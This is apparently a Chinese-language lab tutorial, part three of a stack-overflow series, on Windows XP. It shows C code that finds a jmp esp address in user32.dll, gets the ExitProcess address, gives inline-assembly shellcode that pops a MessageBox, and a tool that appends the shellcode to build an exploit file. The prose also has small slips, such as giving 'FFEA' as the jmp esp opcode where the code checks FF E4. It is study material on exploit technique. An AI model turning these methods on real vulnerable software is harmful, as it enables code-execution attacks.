栈溢出基础实验三

本次实验环境完全采用XP加vc6.0,原因我在上次已经说了,主要是由于user32.dll动态变化的原因,而且在xp上测试更简单,但是xp运行不了IDA pro7.0(不清楚是不是我自己的配置原因,或者是IDA没有做xp的兼容),这是最大的遗憾。

关于Win10的这个问题,我问了一下大佬究竟是怎么回事,主要是为了预防栈溢出漏洞。Win10现在还是在被微软维护中,存在的漏洞少之又少,但是Win10系统中存在的栈溢出漏洞还是有的,漏洞是要靠自己发掘的。

在上次的代码植入实验中,我们直接用IDA查出了栈中shellcode的起始地址。而在实际调试漏洞时,尤其是在调试Win10的程序,我们经常会发现有缺陷的函数位于某个动态链接库中,且在程序运行过程中被动态装载。这时的栈中情况将会是动态变化着的,也就是说,这次从调试器中直接抄出来的shellcode起始地址下次就变了。所以,要编写出比较通用的shellcode就必须找到一种途径能够自动定位到shellcode的起始地址。

一般情况下,巧妙地使用esp寄存器是比较好的选择。一般没经过优化的代码,正常的函数形式是如下这样的。

push epb ;只演示32位汇编,64位的也是如有雷同
mov ebp,esp
sub espxxx ;xxx为函数内变量所需要的内存空间
...
... ;在函数内部进行代码注入
... ;A
mov esp,ebp ;B
pop ebp ;C
ret

当程序运行到A处时,栈空间由于代码注入已被破坏,但是ebp并没有遭到破坏,任然保存的是本函数栈的基址。在运行B时,没有被破坏的基址被赋值到esp,然后运行到C,由于栈被破坏了,所以pop出来的值是无效的,所以对于我们而言,ebp这时已经没有用了。

这时esp里的值就大有用处,此时esp指向的是返回地址的下一个地址,我们可以将shellcode覆盖于此,这样,无论地址怎么偏移,esp都始终指向它。

这时若是被覆盖(修改)返回的地址的指令恰好是jmp esp那就完美了。由于xp系统的动态库函数在内存的位置基本不变,所以可以直接在系统的动态库中寻找到这条指令在内存中的地址,然后用这个地址来覆盖返回地址,就一劳永逸了。

下面的程序就可以在user32.dll动态库中寻找到jmp esp指令的位置,FFEA就是jmp esp指令的机器码。

//当找不到相应指令时,程序会崩溃,这个怎么解决我也不清楚
#include<windows.h>
#include<stdio.h>

#define DLL_NAME "user32.dll"

typedef union int_char
{
    int _int;
    char _char[4];
}int_char;

int main()
{
    BYTE *ptr;
    int i;
    int position;
    int_char address;
    HINSTANCE handle;
    handle = LoadLibrary(DLL_NAME);
    if(!handle)
    {
        fprintf(stderr," load all error !\n");
        exit(0);
    }
    ptr = (BYTE*)handle;

    position=0;
    while(1)
    {
        if(ptr[position]==0xFF && ptr[position+1]==0xE4)
        {
            address._int = (int)ptr + position;
            printf("found at 0x%08X\n",address._int);

            printf("reverse :");
            for(i=0 ; i<4 ;i++)
            {
                printf("%02X",(unsigned char)address._char[i]);
            }
            puts("");
            return 0;
        }
        position++;
    }
}

在制作exploit的时候,还应当注意shellcode的退出问题,可以恢复成原来的值(在ollydby的调试下已获得),但是这样不确定性很大,指不定换了个环境那些从ollydby获得的值就改变了,所以直接调用ExitProcess函数是比较好的选择(exit函数没有,总是找不到入口地址)。还是用老办法获得入口地址。

#include<windows.h>
#pragma comment(lib,"user32.lib")

int main()
{
    int i;
    int func_entry_point;
    char *p;

    func_entry_point=(int)ExitProcess;
    p=(char *)&func_entry_point;

    printf("%08X\n",func_entry_point);//for reverse
    for(i=0; i<4;i++)
    {
        printf("%02X",(unsigned char)p[i]);
    }
    puts("");
}

下面是我写的shellcode。

#include<windows.h>

int main()
{
    __asm
    {
        xor ebx,ebx
        push ebx  //截断字符
        push 0x74736577
        push 0x6c696166

        mov eax,esp
        push ebx
        push eax
        push eax
        push ebx

        mov eax,0x77D507EA // 不同的环境入口地址可能不同
        call eax //call MessageBoxA()

        mov eax,0x7C81CAFA
        call eax //call ExitProcess()
    }
}

再配上下面的工具。这是用C语言开发的,用Python开发会更快,但是XP好像装不了Python,所以用C语言写工具,反正原理都是一样的。

#include<stdio.h>

int main(int argc,char **args)
{
    FILE *fp;
    int head,tail;
    char buf[0x10000];
    char origin[0x10000];
    int length;

    head=atoi(args[2]);
    tail=atoi(args[3]);
    fp=fopen(args[1],"rb");

    fseek(fp,head,SEEK_SET);
    fread(buf,1,tail-head,fp);

    fclose(fp);

    fp=fopen(args[4],"rb");
    fseek(fp,0,SEEK_END);
    length=ftell(fp);
    fseek(fp,0,SEEK_SET);
    fread(origin,1,length,fp);

    fclose(fp);

    fp=fopen(args[5],"wb");
    fwrite(origin,1,length,fp);
    fwrite(buf,1,tail-head,fp);

    fclose(fp);
}

虽然退出有问题,但程序还是能达到预期目的。